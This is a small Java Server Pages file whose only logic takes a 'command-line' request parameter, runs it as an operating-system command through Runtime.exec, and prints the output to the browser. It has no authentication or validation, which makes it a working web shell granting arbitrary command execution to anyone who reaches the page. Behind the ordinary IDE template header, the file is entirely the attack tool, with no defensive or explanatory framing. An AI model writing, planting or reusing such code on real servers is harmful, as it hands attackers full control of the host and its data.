<%@ page import="static java.lang.Runtime.getRuntime" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
  Created by IntelliJ IDEA.
  User: FutureAdmin
  Date: 14-3-12
  Time: 下午2:58
  To change this template use File | Settings | File Templates.
--%>


<%

    String command = request.getParameter("command-line");
    Process proc = getRuntime().exec(command);
    BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
    String line;
    while ((line = reader.readLine()) != null) {
        out.print(line);
    }
    out.flush();
    out.close();
%>
